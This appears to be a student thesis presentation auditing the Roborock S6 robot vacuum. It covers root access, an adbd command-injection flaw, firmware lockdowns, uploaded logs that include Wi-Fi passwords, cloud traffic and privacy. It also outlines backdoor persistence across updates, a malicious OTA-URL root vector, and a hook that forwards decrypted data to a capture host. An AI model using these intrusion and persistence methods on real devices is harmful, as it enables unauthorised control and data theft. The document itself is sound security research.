…so there are a lot of IOT devices and IOT brands out there…

🕵️‍♂️ Are competing products looking suspiciously similar to you?
Most are white-labelled products, the biggest ecosystem vendor being

Pros

👨‍💻 Use someone else’s code
💹 Fast profit turnaround

Cons

⚠️ Use someone else’s code
🔓 Potentially security vulnerabilities

IOT ecosystems often have a centralised system to manage their fleet (devices).

Pros

A centralised management is so much simpler/easier/faster/cheaper/‘better’ than a decentralised one.

Cons

⚠️ Device functionality dependent on system availability
⚠️ Little transparency about what/where/when/why data is transmitted

Device in scope: Roborock S6 (2019)

A smart vacuum cleaner, with integrations to both and (depending on model)

It works pretty well, according to reviews.
But is it safe to connect to your home?

Thesis A | Results

Thesis A - Disassembled the device (many, many screws)

Thesis A - Found the UART pins and got some terminal

Thesis A - Got root access (Device runs Ubuntu 14.04.3 LTS)

Thesis B | Results

Thesis B - Firmware dump (dd) for offline/static analysis

Thesis B - Inspection of system (privileged processes)

Thesis B - Recovery partition manipulation (see proof of concept)

Thesis B - Capture of device traffic (port-mirroring)

Thesis B - Inspection of system services (netstat, ip{,6}tables)

Thesis B - Remote access persistence (see proof of concept)

Thesis B - Investigating tcpdump

Thesis B - Investigating rrlogd

Thesis B - Investigating adbd

Where we left off

From Thesis B (security)

• Finish analysing firmware binaries
• Comparing files against the stock Ubuntu OS
• Check if an IPv6 address is assigned (hence SSH)
  • ans: no.

From Thesis C (privacy)

• LAN/WAN traffic analysis
  • Look at network behaviour
  • Hook into transmit and receive functions (pre-encrypt / post-decrypt)
• Update to latest version (and hope we don’t get locked out)
  • disclaimer: we got locked out. hahah….
  • Compare file changes
• Factory reset device, check for remnant files

Command injection vulnerability exists within the modified adbd binary

What’s modified?

• Interface to perform uart_test and ruby_flash
• Authenticated access to adb shell
  • Dynamic challenge/response
  • Requires knowledge of vinda, device ID

Auth Flow

SYS_PASSWD = /mnt/default/vinda := ABCD1234ABCD1234

# Get challenge
CHALLENGE $= adb shell [SYS_PASSWD]rockrobo dynamickey

# Generate response
ADB_PASSWD = generate(challenge, device_id)

# Perform command
adb shell [SYS_PASSWD][ADB_PASSWD] [COMMAND*]

Achieving RCE

• The modified binary has some sort of access level implementation
  • Depends on value in /mnt/default/adb.conf (RO)

• Arbitrary command execution when access level = 0
  • But the app also resets this value to 1
  • &, ;, |, ` characters are also forbidden

😢 No arbitrary command execution…

$> py -3 adbStart "whoami"

src/rr_ruby.c::adb_check_unlock_level1():not support /adb shell sys_passwd#adb_passwd whoami in level 1

Noooooooooo wait what

… where did /bin/sh come from..?

RCE via command substitution

Avoiding the forbidden characters (&, ;, |, `) we can exploit command substitution and redirections to inject commands.

Allows us to write to the filesystem

RCE via command substitution

Or read from the filesystem too!

POC breakdown (Where it falls apart)

• Still need to authenticate before RCE possible
  • Still need knowledge of the /mnt/default/vinda file
  • Need to physically open the device at least once
    • Screws. Lots of them.

• At least, provides a way to issue commands even when adb_lock != 0
  • USB protocol is more common and accessible to people
  • SSH access might stop working / be blocked (spoilers)
  • Serial access might stop working / be blocked (spoilers)

$> cat /etc/OS_VERSION
ro.product.device=MI1558_TANOS_MP_S2020032500REL_M3.3.0_RELEASE_20200325-204847
$> #              ^^^^^^           ^^^^^^^^
$> #              \/\\//           \\\\////
$> #          Xiaomi v01.15.58  25th March 2020
$> #                                      

Aside

• The Roborock S6 was released in June 2019
• The unit I have was manufactured June 2020
  • My unit has a newer base firmware (25th March 2020)
• Note the presence of “MI” at the start of the product string

Stock Ubuntu 14.04.3 LTS

Performed a diff check against the Ubuntu 14.04.3 Core LTS (armhf) OS.

• All binaries present on the device matched, except for ntpdate (synchronise computer time via NTP)
• Still functionally equivalent

A new firmware

-ro.product.device=MI1558_TANOS_MP_S2020032500REL_M3.3.0_RELEASE_20200325-204847
+ro.product.device=TANOS_V2902-2022042802REL_M3.5.8_T4.1.4-2_RELEASE_20220428-202811
-ro.build.display.id=TANOS_MP_R16_RELEASE_20200325-204847
+ro.build.display.id=TANOS_MP_R16_RELEASE_20220428-202811
 ro.sys.cputype=R16.STM32.A3.G1
-ro.build.version.release=1558
+ro.build.version.release=V2902
-ro.build.date.utc=1585140527
+ro.build.date.utc=1651148891

The update process performed several incremental updates..
finally updating to v02.29.02 (28th April 2022)

The Official Changelog

> 01.17.08 (17th April 2020)
- Supports multi-floor map saving and robot knows which floor it is
- Update to new structured SLAM algorithm to make map more reliable
- Support customised room cleaning sequence
- Support no-mop zone

> 01.19.98 (9th June 2020)
* Improvised Wi-Fi Easy Connect
* overall improvements
* bug fixes
* UX fixes

> 01.20.76 (23rd June 2020)
* Obstacle avoidance enhancements
* Bug fixes and UI optimisation

> probably more updates (got locked out)

> 02.29.02 (28th April 2022)
* Optimized the quick mapping experience

The Changelog I Actually Care About

> 01.17.08 (17th April 2020)
* /opt/rockrobo/watchdog/WatchDoge iptables drop SSH
* /opt/rockrobo/rrlog/rrlogd iptables drop SSH
* Utilities change to busybox
* SSH server changed to dropbear
* /opt/rockrobo/rriot/rriot_rr added (but not enabled)

> 01.19.98 (9th June 2020)
* Serial handler changed to /sbin/rr_login

> 01.20.76 (23rd June 2020)
-

> probably more updates (got locked out)

> 02.29.02 (28th April 2022)
* /opt/rockrobo/rriot/rriot_rr enabled

Getting locked out - rr_login

...
* /opt/rockrobo/rriot/rriot_rr added (but not enabled)

> 01.19.98 (9th June 2020)
* Serial handler changed to /sbin/rr_login

> 01.20.76 (23rd June 2020)
-
...

After the v01.19.98 update, serial shell access was denied, uh oh!

Lockdown: Shell

• Serial handler no longer uses getty
  • Now uses modified version called rr_login
• OpenSSH server was replaced with modified version of dropbear

Both only allow login as the root user

Lockdown: Authentication

The vinda file is no longer used for auth!

Login attempts now verify against

• [mmcblk0p6]/shadow
• [mmcblk0p6]/shadow.sign

But these files don’t exist on my device…

Affected: rr_login (serial), dropbear (SSH), adbd? (USB)

Fix
(1) Enter bootloader and force entrypoint to a shell
(2) Patch /etc/inittab to revert back to a normal login shell

Lockdown: Authentication (verify_shadow)

Lockdown: Authentication (SSH auth attempt trace with strace)

System Changes

• Are we still using Ubuntu?
  • Maybe?
  • apt-get and dpkg removed
• Lots of tools were replaced with BusyBox (v1.24.1)
  • Also a space-saving measure
  • 
• Effectively now running embedded Linux

Download git diff

Lockdown: Firewall

• There are now ip6tables rules to drop all packets 👏
  • Apps also no longer perform IPv6 (AAAA) DNS requests

• Processes have calls to reinstate dropping SSH access
  • rrlogd now drops access on bad version match
    • (previously only allowed access on correct version match)
  • WatchDoge immediately drops access on start

rrlogd and wlanmgr

wlanmgr now has the functionality to call tcpdump

rrlogd will upload the following

What can the manufacturer see?

• Device data
• Application config
• Application logs
• SLAM (map)
• Running processes
• Wireless configuration
• Packet capture
• Blackbox (statistics)

See: Privacy Policy

Effective: 30th April 2019

Cleaning-related information ... last 20 items will be saved by your device and server...
...stored in the server for up to 180 days, ... automatically deleted after expiration.
Network information: ...the password information is only stored on the device side...
... will not be uploaded to the server.
Timing information... Cleanable Area Information... Other information: For example, ....

“Password […] only stored on the device” - Well about that…

Above: Log data uploaded by rrlogd | FW: v02.29.02 (28th April 2022)

• Map, log and user data is cleared (securely)
• Reserve partition is never cleared, even during factory resets

mmcblk0p11
|   mcu_ready
|   try
|   hwinfo
|   anonymousid1
|   lds_calibration.txt
|   counter
|   CompassBumper.cfg
|   blackbox.db
|   rrBkBox.csv
|   endpoint.bin
|   RoboController.cfg
|   last_partition
|
\---rriot
        tuya.json

Setup

• Isolated sandbox network
  • Router, switch, access point, Vacuum Cleaner
  • Additional NUC to simulate peer data
• Captured packets (unattended) for a month
• Captured packets (interactive) for several sessions
• Filter out network noise
• Compare network activity between old and new firmware

Network Behaviour (FW v02.29.02) (exc FDS) (1 week)

Network Geomap (FW v02.29.02) (exc FDS) (1 week)

Observations

• Local traffic - DHCP (5min), Tuya Discovery (5s)
• Connections to America, Germany, China
  • America, Germany - AWS - fds, a2, ms, m2
  • China - Mi IO Cloud (v01.15.58 only)
• Increased network activity at 3am
  • 3am AEDT is 12am in Beijing
  • Connections are being established - possible timeout/reconnect

Changes

• New FW uses m2.tuyaeu.com instead of ms.tuyaeu.com
• New FW no longer polls xx.ot[t].io.mi.com

What’s in the packet?

Most (if not all) communications were encrypted

1. Break the encryption too much effort

1. Hook into the pre-encryption / post-decryption stages

/* Send test to 10.251.252.253:28422 */
void hook(void* data, uint data_len) {
  int sock = create_udp4_connection(IPV4_ADDR(10,251,252,253), 28422);
  send(sock, data, data_len, 0);
}

2. Just look at the app logs*

*: Application logs are less verbose in newer FW versions
However they communicate the same way as the older FW versions

Example MQTT conversation ({m2,ms}.tuyaeu.com)

Server Request

{
  "id": 889,
  "method": "get_prop",
  "params": [ "get_status" ]
}

Device Response

{
  "id": 889,
  "result": [{
    "msg_ver": 2,
    "msg_seq": 275,
    "state": 8,
    "battery": 100,
    "clean_time": 0,
    "clean_area": 0,
    "error_code": 3,
    "map_present": 1,
    "in_cleaning": 0,
    "in_returning": 0,
    "in_fresh_state": 1,
    "lab_status": 0,
    "water_box_status": 0,
    "fan_power": 102,
    "dnd_enabled": 0,
    "map_status": 1,
    "lock_status": 0,
    "events": []
  }]
}

Example Control conversation (a2.tuyaeu.com)

Device Request

HTTP POST
https://a2.tuyaeu.com/d.json?a=tuya.device.timer.count&devId=...&et=1&t=...&v=4.0&sign=...

{"devId":"...","lastFetchTime":"0","t":1657046157}

Server Response

{
  "result": {
    "devId": "...",
    "count": 0,
    "lastFetchTime": 0
  },
  "t": 1657046159,
  "success": true
}		

Log data (Xiaomi FDS)

Data is compressed and encrypted

• /mnt/data/rockrobo/rrlog/**
• /dev/shm/**
• /mnt/reserve/...

• App logs
• Updater logs
• ‘Anonymous’ statistics
• wlanmgr tcpdump

Network Map

Upgrade procedure

• Download the update to mmcblk0p1 (data)
• Extract update to mmcblk0p10 (updbuf)
• Unmount mmcblk0p8 (bootA) / mmcblk0p9 (bootB)
• Flash updbuf to bootA / bootB
• Boot into bootA / bootB
• Flash updbuf to bootB / bootA
• Boot into bootB / bootA

Both filesystems are overwritten (existing changes will disappear)

Achieving upgrade persistence

• Download the update to mmcblk0p1 (data)
• Extract update to mmcblk0p10 (updbuf)
• 📝 Modify contents of updbuf
• Unmount mmcblk0p8 (bootA) / mmcblk0p9 (bootB)
• Flash modified updbuf to bootA / bootB
• Boot into bootA / bootB
• Flash modified updbuf to bootB / bootA
• Boot into bootB / bootA

Modify the extracted updated firmware, so changes propagate

How to modify?

• Alter the SysUpdate binary to include modification steps
• Service / cron / repeated task to write into /mnt/updbuf

What to modify?

• Remote access
  • /etc/passwd
  • /usr/bin/adbd
  • /usr/sbin/dropbear
  • VPN / SD-WAN
  • iptables (various locations)
• 🔊 Sounds?
• Future upgrade persistence
  • SysUpdate
  • Scheduled / repeated jobs

{
  "method": "miIO.ota",
  "params": {
    "mode": "normal",
    "install": "1",
    "app_url": "http://192.168.8.110:8322/firmware", // this looks definitely controllable!
    "file_md5": "6e24b0454b170f67676693b759fba742",
    "proc": "dnld install"
  },
  "id": 474627483
}

During device initialisation, an OTA update payload could be sent…
Remote root / backdoor!!

However… patched a long time ago

• OTA updates during device initialisation were disabled in a November 2019 firmware update.
  • Remember - Product was released June 2019
• This method of attack is limited to devices that are
  • Not yet initialised (else will have to be factory reset)
  • Manufactured within 4 months of the device being first sold

Data Visibility and Ownership

• How do I know what data is being collected?
  • Privacy policy™
• How do I know what data is actually being collected?
  • Need equipment, skills, willingness
  • Patience to unscrew a lot of screws
  • Encryption
• (How) Can I control the data that is collected?
  • Locally? Remotely?
• (How) Can I confirm my data has been deleted?

Data includes: map data, [camera], [microphone], app logs,
process list, network config, network data, statistics

Device Visibility and Ownership

• Is this device really mine?
• Can I see what my device is doing?
• Can I modify my own device

❌ Communications are encrypted
❌ Logs are encrypted
❌ Restricted adbd, ssh, serial

• But otherwise yes
  • It’s just Linux
  • No hardware restrictions to flashing

Would you pay for hardware
.. then pay more to use it?

Roborock

✔️ Evidence of buffer overflow checks in the binary
✔️ Application-level encryption
✔️ Reduction in log verbosity (though not consistent)
✔️ ip{,6}tables rules
✔️ Tightening of access through adb, ssh, serial
✔️ They seem to respond to security incidents
✔️ (some) effort to uphold privacy and define data usage

⚠️ They seem to respond to security incidents. sort of

Disclosures

• Only one vulnerability disclosure listed on their webpage
  • 8 years of business, 15 products, 1 vulnerability?
  • No CVE / other detail report
• Perhaps more, but undisclosed

What about other companies?

(IoT Ecosystem, Whitelabel Vendor) and Xiaomi (IoT Ecosystem) have published CVEs

• Reminder; not a necessity
• They both have large security teams and bug bounty programs
  • Bigger company
  • More at stake

Both companies have white-papers / publications about security minimums.

Note
The Tuya paper mentions encryption during the pairing process.
The Roborock S6 (which integrates the Tuya platform), fails to do so.

Is there a compliance check / verification between either party?

MUD files whitelist the nature of network traffic that a device should transmit/receive. (e.g. Transmit IPv4 tcp/8890 to (DNS) example.com)

Traffic that does not match the MUD are discarded (or allowed but flagged). Mitigates unexpected ports/hosts - but ineffective against (e.g.) C2 payloads

IoT Research Team @ UNSW EE&T has done some research